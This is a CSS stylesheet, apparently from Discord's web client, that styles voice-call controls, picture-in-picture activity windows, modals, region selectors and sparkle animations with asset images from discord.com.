.art-3wzoO6.medium-2B7Zy5 { height: 88px; }

.art-3wzoO6.large-1x1Mum { height: 134px; }

.header-2Zv56X { color: rgb(255, 255, 255); text-align: center; font-weight: 600; margin-bottom: 4px; }

.description-22pzKs { color: rgb(220, 221, 222); text-align: center; font-weight: 500; }

.description-22pzKs p { margin: 0px; }

.outerButton-1CWJC- { margin-top: 16px; }

.button-3HqqDX { background-color: rgb(79, 84, 92); color: rgb(255, 255, 255); border-radius: 100px; padding: 12px 18px; font-weight: 600; font-size: 16px; }

.button-3HqqDX:hover { background-color: rgb(54, 57, 63); }

.root-2sELX6 { background-color: rgba(0, 0, 0, 0.6); position: absolute; inset: 0px; }

.controlIcon-35oS15 { width: 24px; height: 24px; color: rgb(185, 187, 190); display: flex; }

.controlIcon-35oS15.active-1QRrIS, .controlIcon-35oS15:hover { color: rgb(255, 255, 255); }

.controlIcon-35oS15.themeable-3cPzCs { color: var(--interactive-normal); }

.controlIcon-35oS15.themeable-3cPzCs.active-1QRrIS, .controlIcon-35oS15.themeable-3cPzCs:hover { color: var(--interactive-active); }

.colorable-1bkp8v.red-33-Lnk { background: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.colorable-1bkp8v.red-33-Lnk, .colorable-1bkp8v.red-33-Lnk .centerIcon-2G6o-T { color: rgb(255, 255, 255); }

.colorable-1bkp8v.red-33-Lnk.active-1QRrIS, .colorable-1bkp8v.red-33-Lnk:hover { background: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.colorable-1bkp8v.primaryDark-3mSFDl { background: rgb(47, 49, 54); }

.colorable-1bkp8v.primaryDark-3mSFDl, .colorable-1bkp8v.primaryDark-3mSFDl .centerIcon-2G6o-T { color: rgb(255, 255, 255); }

.colorable-1bkp8v.primaryDark-3mSFDl.active-1QRrIS, .colorable-1bkp8v.primaryDark-3mSFDl:hover { background: rgb(32, 34, 37); }

.colorable-1bkp8v.primaryLight-1_NQ7Q { background: rgb(242, 243, 245); }

.colorable-1bkp8v.primaryLight-1_NQ7Q, .colorable-1bkp8v.primaryLight-1_NQ7Q .centerIcon-2G6o-T { color: rgb(6, 6, 7); }

.colorable-1bkp8v.primaryLight-1_NQ7Q.active-1QRrIS, .colorable-1bkp8v.primaryLight-1_NQ7Q:hover { background: rgb(227, 229, 232); }

.colorable-1bkp8v.activeLight-Z2aUHx { background: rgb(116, 127, 141); }

.colorable-1bkp8v.activeLight-Z2aUHx, .colorable-1bkp8v.activeLight-Z2aUHx .centerIcon-2G6o-T { color: rgb(255, 255, 255); }

.colorable-1bkp8v.activeLight-Z2aUHx.active-1QRrIS, .colorable-1bkp8v.activeLight-Z2aUHx:hover { background: rgb(79, 86, 96); }

.colorable-1bkp8v.white-3GPOIp { background: rgb(255, 255, 255); }

.colorable-1bkp8v.white-3GPOIp, .colorable-1bkp8v.white-3GPOIp .centerIcon-2G6o-T { color: rgb(6, 6, 7); }

.colorable-1bkp8v.white-3GPOIp.active-1QRrIS, .colorable-1bkp8v.white-3GPOIp:hover { background: rgb(242, 243, 245); }

.colorable-1bkp8v.green-plH-Mj { background: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.colorable-1bkp8v.green-plH-Mj, .colorable-1bkp8v.green-plH-Mj .centerIcon-2G6o-T { color: rgb(255, 255, 255); }

.colorable-1bkp8v.green-plH-Mj.active-1QRrIS, .colorable-1bkp8v.green-plH-Mj:hover { background: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.centerButton-3CaNcJ { border-radius: 50%; padding: 16px; transition: background 0.15s ease-in-out 0s, color 0.15s ease-in-out 0s; }

.centerButton-3CaNcJ .centerIcon-2G6o-T { transition: color 0.15s ease-in-out 0s; }

@media (max-width: 456px) {
  .centerButton-3CaNcJ { padding: 8px; }
  .contextMenuContainer-2HlOMK { display: none; }
}

@media (min-width: 457px) {
  .unmasked-35qKj5 { display: none; }
}

.lineHeightReset-3dQm1W { line-height: 0; }

.contextMenuContainer-2HlOMK { position: relative; }

.staticButton-1B0rfQ { position: static; }

.contextMenuNub-3yOOYo { background-clip: padding-box; border-radius: 50%; position: absolute; bottom: 0px; right: 0px; padding: 2px; width: 16px; height: 16px; background-color: inherit; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; transition: background 0.15s ease-in-out 0s, color 0.15s ease-in-out 0s; }

.contextMenuCaret-3tjo32 { width: 16px; height: 16px; cursor: pointer; transition: none 0s ease 0s; }

.contextMenuCaret-3tjo32.open-1aCwl_ { transform: rotateX(180deg); }

.popIn-2stfyU { transform: rotate(-180deg); }

.participantsButton-KYW-IW { border-radius: 48px; background: rgb(47, 49, 54); padding: 4px; box-shadow: var(--elevation-high); }

.participantsButton-KYW-IW:hover { background: rgb(32, 34, 37); }

.rightCaret-aB8RWK { transform: rotate(-90deg); }

.leftCaret-18vKap { transform: rotate(90deg); }

.upCaret-2FMEf1 { transform: rotate(180deg); }

.downCaret-2MCm1M { transform: rotate(0deg); }

.members-3RE5jX { margin-right: 4px; }

.iconContainer-3DcDKa { display: flex; }

.iconContainer-3DcDKa > svg { color: rgb(255, 255, 255); }

.content-18CuWF { background: var(--brand-experiment); position: relative; text-align: center; padding: 32px 10px 16px; max-width: 280px; border-radius: 8px; }

.art-2cEqGT { background-size: contain; background-repeat: no-repeat; position: absolute; top: 0px; left: 50%; }

.headerText-1xwANX { color: rgb(255, 255, 255); font-weight: 600; }

.bodyText-1gI7Km { color: rgb(255, 255, 255); margin-top: 4px; }

.button-2Hecfv { height: 32px; }

.tryButton-chkk4r { margin-top: 16px; }

.dismissButton-zu9bFj { margin-top: 4px; }

.confirmButton-2aCG0F { margin-top: 16px; }

.content-18CuWF .confirmButton-2aCG0F, .content-18CuWF .tryButton-chkk4r { color: var(--brand-experiment); }

.pointer-1MEGiD { width: 0px; height: 0px; border-right: 5px solid transparent; border-bottom: 5px solid transparent; border-left: 5px solid transparent; border-image: initial; border-top: 5px solid var(--brand-experiment); pointer-events: none; position: absolute; top: 100%; left: 50%; margin-left: -5px; }

.fauxDisabled-3vmIPo { opacity: 0.5; }

.educationTooltip-1XlCFg { background: rgb(255, 255, 255); padding: 16px 10px; max-width: 280px; border-radius: 8px; text-align: center; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.educationTooltip-1XlCFg, .snowsgivingTooltip-w0Euvi { filter: drop-shadow(var(--elevation-high)); }

.snowsgivingEducationArt-SPJqCB { background-image: url("https://discord.com/assets/9620a75e82e767a56359361748ea600f.png"); width: 248px; height: 120px; transform: translateY(-80%) translateX(-50%); }

.contextMenuCaretWrapper-38v3DR { position: absolute; bottom: -28px; left: calc(50% - 10px); width: 20px; height: 20px; border-radius: 50%; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; cursor: pointer; background-color: rgb(255, 255, 255); }

.contextMenuCaret-2C9uxY { width: 16px; height: 16px; color: rgb(6, 6, 7); }

.title-2kSA_G { font-size: 16px; line-height: 20px; font-weight: 600; margin-bottom: 4px; color: rgb(6, 6, 7); }

.body-3_UJ7Q { margin-top: 4px; color: rgb(46, 51, 56); }

.dismissButton-2D59MG { height: 32px; margin-top: 12px; }

.pointer-2SVIlV { width: 0px; height: 0px; border-width: 5px; border-style: solid; border-color: rgb(255, 255, 255) transparent transparent; border-image: initial; pointer-events: none; position: absolute; top: 100%; left: 50%; margin-left: -5px; filter: drop-shadow(var(--elevation-high)); }

.arrowIcon-3okTyA { height: 24px; width: 24px; transform: rotate(270deg); }

.arrowIconExpanded-1atW4- { transform: rotate(1turn); }

.rightPipIcon-3kki1l { margin-left: 16px; }

.leftPipIcon-1Syad5 { margin-right: 16px; }

.participantsButton-lsd-oF { position: absolute; top: 50%; right: 16px; transform: translateY(-50%); }

.pipHeader-ZKirob { position: relative; z-index: 2; width: 100%; height: 12px; }

.pipHeaderContent-3hKVLC { position: absolute; box-sizing: border-box; max-width: 100%; height: 12px; padding: 0px 8px; background-color: rgb(0, 0, 0); display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; transition: all 0.2s ease-in-out 0s; }

.pipHeaderContentOpen-1f5we5 { background: linear-gradient(rgb(0, 0, 0), rgb(0, 0, 0) 30%, transparent); height: 40px; padding: 8px; cursor: pointer; }

.pipHeaderButtonsRight-1TlJRe { display: flex; }

.menuIcon-3GpyA6 { color: rgb(255, 255, 255); }

.leaveActivityIcon-99HPVj { margin-left: 6px; height: 24px; width: 24px; }

.root-p-00Nk { width: 100%; height: 100%; }

.root-p-00Nk.pipMode-3fqyku { width: 320px; transition: height 0.2s ease-in-out 0s; }

.root-p-00Nk.pipModeShort-2VZvl9 { height: 180px; }

.root-p-00Nk.pipModeTall-rtMxll { height: 410px; }

.root-p-00Nk.hidden-semXgs { width: 0px; max-height: 0px; transition: none 0s ease 0s; }

.iframe-_tVdvp { width: 100%; height: 100%; }

.iframe-_tVdvp.pipModeShort-2VZvl9 { height: 180px; }

.iframe-_tVdvp.pipModeTall-rtMxll { height: 410px; }

.clickShield-3Xe6Ru { position: absolute; inset: 0px; }

.art-clkMXs { background-position: 50% center; background-repeat: no-repeat; width: 238.48px; height: 95.7px; margin: 0px auto 20px; }

.theme-dark .art-clkMXs { background-image: url("https://discord.com/assets/0d16e62fc3a84fc7e76b06584b646df9.svg"); }

.theme-dark .description-FLRtPT { color: rgb(246, 246, 247); }

.theme-light .art-clkMXs { background-image: url("https://discord.com/assets/acb954ff414b98380056308d56efcbfd.svg"); }

.theme-light .description-FLRtPT { color: rgb(46, 51, 56); }

.closeButton-30cKQR { position: absolute; top: 14px; right: 14px; }

.title-YNu73W { margin: 0px; }

.content-2FmSBS { overflow: visible; }

.content-2FmSBS > * { margin-bottom: 24px; }

.avatar-Uq3gXb { width: 24px; }

.avatar-Uq3gXb, .userListOverflow-cTtEue { height: 24px; border-radius: 50%; }

.userListOverflow-cTtEue { box-sizing: border-box; font-size: 12px; font-weight: 700; min-width: 24px; line-height: 25px; padding: 0px 5px 0px 4px; background-color: var(--background-primary); color: var(--text-normal); }

.voiceUserList-3KiWkn { margin-left: 5px; margin-right: 8px; cursor: default; }

.channelIcon-2xPHJh { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 5px; color: var(--text-muted); }

.selected-2rGcKN .channelIcon-2xPHJh { color: var(--interactive-active); }

.channelInfo-2OWB9j { display: flex; -webkit-box-align: center; align-items: center; width: 100%; }

.channelName-3_Vb6f { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.divider-3upnin { width: 100%; position: absolute; bottom: 0px; left: 0px; height: 1px; opacity: 0; z-index: 1; }

.divider-3upnin.separator-19P9q2 { opacity: 1; }

.theme-dark .separator-19P9q2 { box-shadow: rgba(24, 25, 28, 0.3) 0px 1px 0px 0px, rgba(24, 25, 28, 0.3) 0px 1px 2px 0px; }

.theme-light .separator-19P9q2 { box-shadow: rgba(185, 187, 190, 0.3) 0px 1px 0px 0px; }

.modalSize-cqUaws { width: 400px; }

.modalCloseButton-2wzgdr { position: absolute; top: 12px; right: 12px; }

.modalBody-u1aNhe { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; overflow: hidden; }

.formItemTitleSlim-2X22M5 { margin-top: 12px; margin-bottom: 8px; }

.modalContent-BM7Qeh { padding: 0px 16px; }

.modalContent-BM7Qeh:last-child { margin-bottom: 20px; }

.modalHeader-19eoYJ { padding-bottom: 0px; }

.marginBottom-3hmv_z { margin-bottom: 20px; }

.formItemTitle-155OC0 { margin-top: 20px; margin-bottom: 8px; }

.headerText-2j81og { font-weight: 700; margin-bottom: 8px; }

.headerDescription--F5XUT { text-align: center; padding: 0px 32px; }

.flexGrow-3k1BKf { -webkit-box-flex: 1; flex: 1 1 auto; }

.cancelButton-1mlh7b { margin-right: 8px; }

.art-1qgogX { display: inline-block; margin: -60px auto 0px; background-size: contain; background-repeat: no-repeat; width: 290px; height: 112px; }

.theme-dark .art-1qgogX { background-image: url("https://discord.com/assets/13cb217fd14b022bf4b00dcc8c157238.svg"); }

.theme-light .art-1qgogX { background-image: url("https://discord.com/assets/e346e6a656f54e928bddef4ca3db088a.svg"); }

.title-Ug2-48 { }

.scrollerInner-3cKLI1 { padding-left: 16px; max-height: 200px; padding-right: 16px; padding-bottom: 16px; border-bottom: 1px solid rgba(255, 255, 255, 0); }

.scrollerInner-3cKLI1.bottomSeparator-2I_cet { border-bottom: 1px solid rgba(255, 255, 255, 0.04); }

.scrollWrapper-D9dVnd { display: flex; position: relative; min-height: 0px; -webkit-box-flex: 1; flex: 1 1 auto; }

.channelInfoWrapper-1DPrpu { overflow: hidden; margin-right: 0px; }

.channelTitleWrapper-UW6lQz { min-width: 0px; }

.card-2Mz_4z { display: flex; -webkit-box-align: center; align-items: center; padding: 8px 4px 8px 8px; border-radius: 3px; font-size: 16px; line-height: 16px; color: var(--header-primary); border: 1px solid var(--background-tertiary); background-color: var(--background-secondary); }

.group-2dAfBy { }

.group-2dAfBy, .item-3T2z1R { box-sizing: border-box; }

.item-3T2z1R { padding: 0px; background: transparent; cursor: pointer; border-width: 1px 1px 1px 0px; border-style: solid; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.item-3T2z1R:first-child { border-left-width: 1px; border-radius: 3px 0px 0px 3px; }

.item-3T2z1R:last-child { border-radius: 0px 3px 3px 0px; }

.item-3T2z1R:disabled { opacity: 0.3; cursor: not-allowed; }

.theme-light .item-3T2z1R { border-color: rgb(220, 221, 222); }

.theme-dark .item-3T2z1R { border-color: rgb(24, 25, 28); }

.selectorButton-EEUWed { min-width: 36px; padding: 6px 0px; -webkit-box-flex: 1; flex: 1 1 auto; background: var(--background-secondary); }

.selectorButton-EEUWed:not(.selectorButtonPremiumRequired-mKMbIu):hover { background-color: var(--brand-experiment); }

.selectorButton-EEUWed:not(.selectorButtonPremiumRequired-mKMbIu):hover .selectorText-2I7fQU { color: rgb(255, 255, 255); }

.selectorButtonSelected-t5V9On { background-color: var(--brand-experiment); }

.selectorText-2I7fQU { text-transform: uppercase; font-weight: 700; color: var(--interactive-normal); }

.selectorTextSelected-1ymya_ { color: rgb(255, 255, 255); }

.selectorNitroText-GCsvMp { text-transform: uppercase; text-decoration: line-through; font-weight: 700; opacity: 0.3; }

.settingsGroup-2NaPKC { -webkit-box-flex: 1; flex: 1 1 auto; margin-right: 16px; margin-bottom: 2px; }

.settingsGroup-2NaPKC:last-child { margin-right: 0px; }

.documentModeGroup-1f0PO- { -webkit-box-flex: 1; flex: 1 1 auto; }

.documentModeDescription-3mCV_i { min-height: 32px; }

.qualitySettingsContainer-1gOtRJ { border: 1px solid rgb(24, 25, 28); border-radius: 8px; padding: 0px 8px 8px; }

.selectedIcon-DE5J2w { flex-shrink: 0; margin-right: 8px; color: var(--interactive-normal); }

.ellipsisText-2EszCb { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; max-width: 100%; font-weight: 500; margin-right: 8px; }

.changeButton-278ZT6 { margin-left: auto; margin-top: -4px; margin-bottom: -4px; }

.changeButton-278ZT6, .warningIcon-1Dw6GH { flex-shrink: 0; }

.warningIcon-1Dw6GH { width: 20px; height: 20px; margin-right: 8px; }

.warning--qC9N8 { padding: 8px 16px; color: var(--interactive-normal); }

.checkboxRow-2RRHtn { margin-top: 16px; }

.guildScroller-2J_wr3 { max-height: 290px; }

.guildRow-26rtE0, .guildScroller-2J_wr3 { display: flex; }

.guildRow-26rtE0 { -webkit-box-align: center; align-items: center; padding: 8px; margin: 0px -8px; border-radius: 4px; }

.guildRow-26rtE0:hover { background-color: var(--background-modifier-accent); }

.guildIcon-1N_B__ { flex-shrink: 0; margin-right: 8px; }

.guildName-2snOC3 { -webkit-box-flex: 1; flex: 1 1 0%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.guildArrow-MZgyxl { color: var(--interactive-normal); flex-shrink: 0; }

.grid-32iiFi { position: relative; }

.tile-8W93rZ { box-sizing: border-box; }

.item-1TLUig { cursor: pointer; font-size: 13px; margin-right: 20px; padding-top: 20px; padding-bottom: 20px; }

.theme-dark .container-OI6I9q { color: rgb(185, 187, 190); }

.theme-dark .selected-P8xTeN { color: rgb(246, 246, 247); border-bottom: 2px solid rgb(246, 246, 247); }

.theme-light .container-OI6I9q { color: rgb(114, 118, 125); }

.theme-light .selected-P8xTeN { color: rgb(79, 84, 92); border-bottom: 2px solid rgb(79, 84, 92); }

.spinner-nBA_Xz { height: 350px; }

.tile-2w4k5N { cursor: pointer; padding: 8px; }

.tile-2w4k5N:hover .sourceThumbnail-27dolk { box-shadow: inset 0 0 0 2px var(--brand-experiment); }

.sourceScroller-Pk7YAM { height: 300px; }

.sourceContainer-3LOXkb { padding: 8px; }

.sourceThumbnail-27dolk { width: 170px; height: 96px; border-radius: 4px; background-repeat: no-repeat; background-size: contain; background-position: 50% center; background-color: var(--background-tertiary); box-shadow: transparent 0px 0px 0px 2px inset; transition: box-shadow 0.15s ease-in-out 0s, -webkit-box-shadow 0.15s ease-in-out 0s; }

.sourceThumbnail-27dolk.selected-1nOkyc { box-shadow: inset 0 0 0 2px var(--brand-experiment); }

.sourceName-1y7Taj { margin-top: 8px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; width: 170px; text-align: center; font-weight: 600; color: var(--header-primary); }

.segmentContainer-3izQ9Z { position: relative; }

.segmentControl-1bEQH5 { padding: 0px 16px; }

.segmentControlOption-1vCKaY { padding-bottom: 8px; font-size: 14px; line-height: 20px; }

.button-3HLNXW { line-height: 0; }

.badgeUpgrade-3_4a3F { position: absolute; right: 2px; bottom: 2px; color: var(--brand-experiment); }

@-webkit-keyframes pulse-3zYHMZ { 
  0% { border-color: rgba(255, 255, 255, 0); }
  25% { border-color: rgba(255, 255, 255, 0.16); }
  50%, 100% { border-color: rgba(255, 255, 255, 0); }
}

@keyframes pulse-3zYHMZ { 
  0% { border-color: rgba(255, 255, 255, 0); }
  25% { border-color: rgba(255, 255, 255, 0.16); }
  50%, 100% { border-color: rgba(255, 255, 255, 0); }
}

@-webkit-keyframes darkerPulse-3isOlW { 
  0% { border-color: rgba(255, 255, 255, 0); }
  25% { border-color: rgba(255, 255, 255, 0.32); }
  50%, 100% { border-color: rgba(255, 255, 255, 0); }
}

@keyframes darkerPulse-3isOlW { 
  0% { border-color: rgba(255, 255, 255, 0); }
  25% { border-color: rgba(255, 255, 255, 0.32); }
  50%, 100% { border-color: rgba(255, 255, 255, 0); }
}

.innerContainer-1llEA- { border: 20px solid rgba(255, 255, 255, 0); border-radius: 50%; }

.app-focused .innerContainer-1llEA- { animation: 2s cubic-bezier(0.4, 0, 1, 1) 0s infinite normal none running darkerPulse-3isOlW; }

.outerContainer-3FfmPk { border: 20px solid rgba(255, 255, 255, 0); border-radius: 50%; }

.app-focused .outerContainer-3FfmPk { animation: 2s cubic-bezier(0.4, 0, 1, 1) 0.2s infinite normal none running pulse-3zYHMZ; }

.background-ujHpbY { width: 100%; height: 100%; }

.avatarWrapper-29j3CC { border-radius: 50%; }

.mirror-1i_yQY { transform: scaleX(-1); }

.video-xBa92B { position: relative; background-color: rgb(0, 0, 0); }

.media-ya5FZp, .video-xBa92B { width: 100%; height: 100%; }

.media-ya5FZp { object-fit: contain; }

.leftTrayIcon-1mCY9j { margin-right: 16px; }

.rightTrayIcon-gMHgPy { margin-left: 16px; }

.embedTarget-xAd1Pd { width: 100%; height: 100%; }

.embedTargetHidden-3qHg_F { width: 0px; height: 0px; visibility: hidden; }

.pictureInPicture-3VocJq { position: absolute; top: 0px; left: 0px; }

.pictureInPictureWindow-1B5qSe { position: absolute; z-index: 1000; overflow: hidden; }

.hidden-SXIIWx { display: none; }

.popout-3fRpdY { flex-direction: column; height: 100vh; background-color: rgb(47, 49, 54); }

.content-2RRmGk, .popout-3fRpdY { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; }

.content-2RRmGk { height: 100%; -webkit-box-flex: 1; flex: 1 1 auto; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; min-height: 0px; }

.quickSelect-3BxO0K { font-size: 13px; cursor: default; color: var(--interactive-normal); }

.quickSelectClick-1HOWp1 { cursor: pointer; }

.quickSelectValue-lImyM6 { margin-left: 4px; }

.quickSelectLabel-2r3iJ_ { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--text-muted); }

.quickSelectArrow-1QublR { width: 10px; height: 7px; margin-left: 5px; }

.quickSelectPopout-X1hvgV { border-radius: 3px; overflow: hidden; }

.quickSelectPopoutScroll-2dlvk5 { max-height: 384px; }

.quickSelectScroller-2SmdH_ { overflow-y: auto; }

.quickSelectPopoutOption-opKBx9 { padding: 8px; cursor: pointer; }

.quickSelectPopoutOption-opKBx9.selected-3RZo5I { background-color: inherit; cursor: default; }

.quickSelectPopoutOption-opKBx9:focus { background-color: var(--background-modifier-hover); color: var(--interactive-hover); }

.theme-light .quickSelectArrow-1QublR { background: url("https://discord.com/assets/c4bc7d01b54d4bb9046bbc5051b1cbf6.svg") 50% center no-repeat; }

.theme-light .quickSelectPopout-X1hvgV { background-color: rgb(255, 255, 255); color: rgb(79, 84, 92); }

.theme-light .quickSelectPopoutOption-opKBx9:hover { background-color: rgb(246, 246, 247); }

.theme-dark .quickSelectArrow-1QublR { background: url("https://discord.com/assets/fb792f56515490f402b731abf6af5d45.svg") 50% center no-repeat; }

.theme-dark .quickSelectPopout-X1hvgV { background: rgb(47, 49, 54); color: rgb(246, 246, 247); }

.theme-dark .quickSelectPopoutOption-opKBx9:hover { background-color: rgba(79, 84, 92, 0.3); }

.regionSelectPopout-p9-0_W { direction: rtl; box-shadow: rgba(0, 0, 0, 0.82) 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 1px 4px; }

.check-2by_h9 { display: block; background: url("https://discord.com/assets/1c0a5d38bdeaaad433b68cf6092ed510.svg"); width: 16px; height: 12px; }

.regionSelectFlag-1htPow { position: relative; flex-shrink: 0; background-color: var(--brand-experiment); width: 24px; height: 16px; background-size: cover; border-radius: 2px; }

.regionSelectName-c5qL8O { direction: ltr; text-align: right; width: 100px; height: 16px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-weight: 500; font-size: 13px; line-height: 18px; margin: 0px 6px; }

.theme-light .regionSelectName-c5qL8O { color: rgb(114, 118, 125); }

.theme-dark .regionSelectName-c5qL8O { color: rgb(185, 187, 190); }

.wrapper-iyDfxG { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; height: 40px; padding: 8px; }

.infoWrapper-2r5i6n { -webkit-box-orient: vertical; flex-direction: column; overflow: hidden; }

.infoWrapper-2r5i6n, .titleWrapper-2-oAin { display: flex; -webkit-box-direction: normal; -webkit-box-flex: 1; flex-grow: 1; }

.titleWrapper-2-oAin { -webkit-box-orient: horizontal; flex-direction: row; -webkit-box-align: center; align-items: center; height: 16px; border-radius: 16px; background: var(--background-accent); }

.image-3jm57k { width: 36px; height: 36px; border-radius: 3px; flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; place-self: flex-start; margin-top: 4px; margin-right: 10px; }

.image-3jm57k, .subtitle-aT9dOW { background: var(--background-primary); }

.subtitle-aT9dOW { margin-top: 8px; height: 16px; border-radius: 16px; }

.menu-1O51-Y { max-height: calc(100vh - 120px); width: 300px; padding: 0px; }

.activityItem-1pRGhE { cursor: pointer; display: flex; -webkit-box-align: center; align-items: center; padding: 0px 16px; }

.activityItem-1pRGhE:hover { background: var(--background-modifier-hover); }

.activityIcon-1bhjuo { -webkit-box-flex: 0; flex: 0 0 36px; min-width: 0px; height: 36px; border-radius: 8px; margin: 8px 10px 8px 0px; }

.activityItemText-171DuB { -webkit-box-flex: 1; flex: 1 1 auto; min-width: 0px; }

.activityActionIcon-bV_fxg { -webkit-box-flex: 0; flex: 0 0 auto; min-width: 0px; margin-left: 8px; }

.activityHeader-6FCdZD { font-weight: 600; color: var(--interactive-active); }

.activityHeader-6FCdZD, .subtitle-2yubBS { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.subtitle-2yubBS { color: var(--interactive-normal); }

.beta-1zTBai { display: flex; -webkit-box-align: center; align-items: center; padding: 8px; margin-bottom: 2px; }

.betaTag-F_ncuo { margin-right: 10px; }

.menu-2wmWSE { max-height: 70vh; }

.buttonSpacing-16khXP { margin-left: 8px; }

.container-O91r7V { width: 400px; border-radius: 12px; background-color: var(--background-secondary); cursor: pointer; box-sizing: border-box; padding: 16px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.container-O91r7V:hover { background-color: var(--background-primary); }

.textContainer-1kAhPI { margin-left: 16px; }

.caret-3mpfk6 { margin-left: auto; }

.icon-188URH { display: flex; padding: 6px; border-radius: 50%; }

.dot-e-3Jtt { margin: 0px 8px; }

.dot-e-3Jtt, .inline-1JbJtX { display: inline; }

.eventPrompt-3Lfnfy { margin-top: 8px; }

.slash-33-IMF { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.container-180vax { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; }

.eventPromptsContainer-3cd2Em { position: absolute; bottom: 104px; }

.controlButton-2MhVEL { margin: 0px 8px; }

@media (max-width: 456px) {
  .controlButton-2MhVEL { margin: 0px 4px; }
}

.wrapper-3EGhDO { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.buttonContainer-2jgQ7w, .wrapper-3EGhDO { display: flex; -webkit-box-align: center; align-items: center; }

.buttonContainer-2jgQ7w { position: relative; -webkit-box-pack: center; justify-content: center; }

.sparkles-1M6Ef- { position: absolute; pointer-events: none; padding: 8px; }

.root-3yg4nC { display: flex; }

.root-3yg4nC .sprite-3_OKOZ { position: relative; animation: 0s ease 0s 1 normal none running none; }

.participant-1lOCsd { margin: 0px 8px; }

.transition-J10on7 { position: relative; }

.spriteWrapper-3DD_XY { position: absolute; inset: 0px; }

.base-18fc34 { display: block; position: absolute; background-position: 0px center; }

.sparkle-1TdrlZ { width: 43px; height: 43px; background-size: 774px 43px; background-position: -731px center; animation: 1.5s steps(17, start) 0s infinite normal forwards running sparkle-1TdrlZ; }

.pop-B2HebP { width: 24px; height: 24px; background-size: 840px 24px; background-position: -816px center; animation: 2.91667s steps(34, start) 0s infinite normal forwards running pop-B2HebP; }

.light-1RsqT- { width: 20px; height: 20px; background-size: 620px 20px; animation: 2.58333s steps(30, start) 0s infinite normal forwards running light-1RsqT-; }

.cross-AT1Amb, .light-1RsqT- { background-position: -600px center; }

.cross-AT1Amb { width: 25px; height: 25px; background-size: 625px 25px; animation: 2.08332s steps(23, start) 0s infinite normal forwards running cross-AT1Amb; }

.sparkleBlurple-awNnsZ, .sparkleGrey-1Q5g70, .sparkleWhite-2J-Q68 { }

.sparkleWhite-2J-Q68 { background-image: url("https://discord.com/assets/04d7ca8cfb04c92c05baf63d8dd3a84c.png"); }

.sparkleGrey-1Q5g70 { background-image: url("https://discord.com/assets/22a50c5f66884ef5762f0a0b96d1ef08.png"); }

.sparkleBlurple-awNnsZ { background-image: url("https://discord.com/assets/3a213f4f415b8587b397fd6043d4bc1a.png"); }

.popBlurple-27zBE3, .popGrey-2lKfmi, .popWhite-1RZZKg { }

.popWhite-1RZZKg { background-image: url("https://discord.com/assets/d691a1d7aa78c8b0b10f984d33f5e1e0.png"); }

.popGrey-2lKfmi { background-image: url("https://discord.com/assets/bf2d7cd12bbcec93478a485271fb31c6.png"); }

.popBlurple-27zBE3 { background-image: url("https://discord.com/assets/e31367eb38fe285a4bbc86b2e62a42df.png"); }

.lightBlurple-1mZKpk, .lightGrey-WcSfs7, .lightWhite-2kX5Oc { }

.lightWhite-2kX5Oc { background-image: url("https://discord.com/assets/1c20f6ecd2d83c1844a3fd6da306d239.png"); }

.lightGrey-WcSfs7 { background-image: url("https://discord.com/assets/64aaf58241b1f4a6c9655564d0f0b028.png"); }

.lightBlurple-1mZKpk { background-image: url("https://discord.com/assets/9e50939d5d7ca61fdb9534298ff2d58a.png"); }

.crossBlurple--iGG5Y, .crossGrey-3CNWiK, .crossWhite-2FnCYL { }

.crossWhite-2FnCYL { background-image: url("https://discord.com/assets/c13a0b03a798023c27155fad5f0c7a61.png"); }

.crossGrey-3CNWiK { background-image: url("https://discord.com/assets/eb0e7f0b11970eca575cbdc7718e8482.png"); }

.crossBlurple--iGG5Y { background-image: url("https://discord.com/assets/18d708afcc8653f148927a308b203be2.png"); }

@-webkit-keyframes sparkle-1TdrlZ { 
  0% { background-position: 0px center; }
  40% { background-position: -731px center; }
  100% { background-position: -731px center; }
}

@keyframes sparkle-1TdrlZ { 
  0% { background-position: 0px center; }
  40% { background-position: -731px center; }
  100% { background-position: -731px center; }
}

@-webkit-keyframes pop-B2HebP { 
  0% { background-position: 0px center; }
  40% { background-position: -816px center; }
  100% { background-position: -816px center; }
}

@keyframes pop-B2HebP { 
  0% { background-position: 0px center; }
  40% { background-position: -816px center; }
  100% { background-position: -816px center; }
}

@-webkit-keyframes light-1RsqT- { 
  0% { background-position: 0px center; }
  40% { background-position: -600px center; }
  100% { background-position: -600px center; }
}

@keyframes light-1RsqT- { 
  0% { background-position: 0px center; }
  40% { background-position: -600px center; }
  100% { background-position: -600px center; }
}

@-webkit-keyframes cross-AT1Amb { 
  0% { background-position: 0px center; }
  40% { background-position: -600px center; }
  100% { background-position: -600px center; }
}

